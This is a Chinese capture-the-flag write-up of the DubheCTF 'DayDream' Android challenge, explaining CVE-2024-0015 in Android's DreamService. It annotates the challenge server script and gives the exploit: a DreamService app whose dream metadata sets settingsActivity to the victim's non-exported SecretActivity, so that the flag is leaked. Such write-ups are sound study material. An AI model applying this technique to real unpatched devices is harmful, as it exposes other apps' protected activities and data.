相关信息说明
前言
DayDream是DubheCTF的一个AndroidPwn题,有一说一见到这个题我是真的非常开心(虽然比赛时候在搞其他,就简单看了几眼),当时就立了flag一定要复现这个题,所以文章就来了。
DayDream
- 简单说一下,DayDream这个模块是关于android的屏保,下面是google的开发文档
https://developer.android.com/reference/android/service/dreams/DreamService
- 通过文档可以知道:我们能够写一个service继承自DreamService,实现自定义的android屏保,就像下面这样进行选择

- 欸,大家可能注意到了,这个屏保选择旁边的设置按钮是什么呢?

- 嗷,文档说了,如果我们设置了
meta-data,就会出现按钮,点击按钮就会跳转到我们设置的Activity - 是随便跳吗?这个时候我们的漏洞就来了
CVE-2024-0015

- 这是当时比赛的hint链接,也是我们的漏洞补丁信息,其实官方已经说的很清楚了
Fix vulnerability that allowed attackers to start arbitary activities
- 漏洞的效果就是能够造成任意的activity调用
为什么会这样呢?
- 上面提到了,官方提供了一个能够调用activity的设置按钮。却忘记了对被调用activity进行验证,导致就算是其他app未导出
experted=false的activity也能够被调用执行. - 一边猛加补丁,一边猛删接口hhh

Then

- 在diff中可以看到上述注释,补丁做了一件事情,确保被调用的组件和使用DreamService的是属于同一个apk
- OK,漏洞就说到这里,接下来我们去到比赛题目
赛题处理
jadx打开,一共有三部分
- MainActivity,没什么信息
- FlagReceiver,提供了一个能够接收flag的广播

- SecretActivity,提供了一个readFile能够获取flag

- 很明显,只要调用了SecretActivity,就可以得到flag。再结合上面对于CVE的说明,答案已经呼之欲出了
不过不急,我们再看看server.py,这个文件也是在给我们提示怎么做
server.py解读
由于我是环境关了以后复现,题目docker又缺文件,然后我改server.py又发现模拟器莫名跑不起来。最后索性找了个android12的模拟器敲命令,唉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | print_to_user("Welcome to DubheCTF2024 DayDream! Please proof of work to continue.\n")# sha256的爆破,忘了哪个比赛放pwntools爆破的github链接来着emmmif not proof_of_work(): print_to_user("Please proof of work again, exit...\n") exit(-1)# 输入一个apk url,对于没接触过android的人来说可能不知道这是干什么# 因为android安全中经常做的事情就是写一个AttackApk去攻击目标apk# 所以这里需要你写的AttackApk的公网下载链接print_to_user("Please enter your apk url:")url = sys.stdin.readline().strip()EXP_FILE = download_file(url)# 校验下载的apkif not check_apk(EXP_FILE): print_to_user("Invalid apk file.\n") exit(-1)# 启动模拟器emulator = setup_emulator()adb(["wait-for-device"])wait_for_device_boot_complete()# 直接给你ban咯,readme.md里有说,不过提了一嘴parcel序列化让我想起了2017的那几个洞adb(["shell", "su", "root", "pm", "disable", "com.android.settings/.accounts.AddAccountSettings"])# 安装目标apkadb_install(APK_FILE)# 启动目标apkadb_activity(f"{VICTIM}/.MainActivity", wait=True)# 使用广播将flag文件写入模拟器环境with open(FLAG_FILE, "r") as f: adb_broadcast(f"com.tsctf.SET_FLAG", f"{VICTIM}/.FlagReceiver", extras={"flag": f.read()})# 安装攻击apkadb_install(EXP_FILE)# 启动攻击apkadb_activity(f"{ATTACKER}/.MainActivity")# 攻击one_click()print_to_user("One_click finished! The logcat log will be output after 5 seconds.\n")# 将SecretActivity的日志打印出来,如果SecretActivity被调用了,这里就会输出flagadb(["shell","logcat -d -s SecretActivity", ">" ,"/logcat_"+ str(ADB_PORT) + ".txt"]) |
流程还是很正常的,关键就是one_click了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | def one_click():# 打开屏保设置页面 adb(["shell", "am", "start", "-a", "android.settings.DREAM_SETTINGS"]) adb(["shell", "sleep", "10"])# 向下滑(排除误差哈哈哈) adb(["shell", "input", "keyevent", "KEYCODE_DPAD_DOWN"]) adb(["shell", "sleep", "1"])# 回车,这里就是选择屏保样式 adb(["shell", "input", "keyevent", "KEYCODE_ENTER"]) adb(["shell", "sleep", "5"])# 点击对应的选项,这里就是在选择我们编写的屏保部分 adb(["shell", "input", "tap", "675", "1415"]) adb(["shell", "sleep", "5"])# 点击那个最最最关键的设置按钮 adb(["shell", "input", "tap", "1256", "842"]) adb(["shell", "sleep", "1"]) |
OK,接下来我们要做的事情就是写一个apk,然后调用SecretActivity了,具体怎么写可以看上面的Dream Service 官方文档
EXP
需要注意的是题目明确了包名
- DreamService
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | package com.tsctf.daydream;import android.service.dreams.DreamService;public class MyService extends DreamService { @Override public void onAttachedToWindow() { super.onAttachedToWindow(); // Exit dream upon user touch setInteractive(false); // Hide system UI setFullscreen(true); // Set the dream layout }} |
- androidmanifest.xml声明service(需要注意的是官方说了高API要申请权限)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | <service android:name=".MyService" android:label="Test" android:enabled="true" android:exported="true" android:permission="android.permission.BIND_DREAM_SERVICE"> <intent-filter> <action android:name="android.service.dreams.DreamService" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> <meta-data android:name="android.service.dream" android:resource="@xml/test_dream_metadata" /> </service> |
- 核心的activity调用
1 2 3 | <?xml version="1.0" encoding="utf-8"?><dream xmlns:android="http://schemas.android.com/apk/res/android" android:settingsActivity="com.tsctf.victimapp/.SecretActivity"/> |
执行效果
用户名联想是历史遗留问题:(

附件是复现视频,logcat里有那么多条是因为尝试了不止一次:(
最后附上源码地址:
好了,可以下机了,如果有什么不对的地方欢迎师傅们来拷打~~~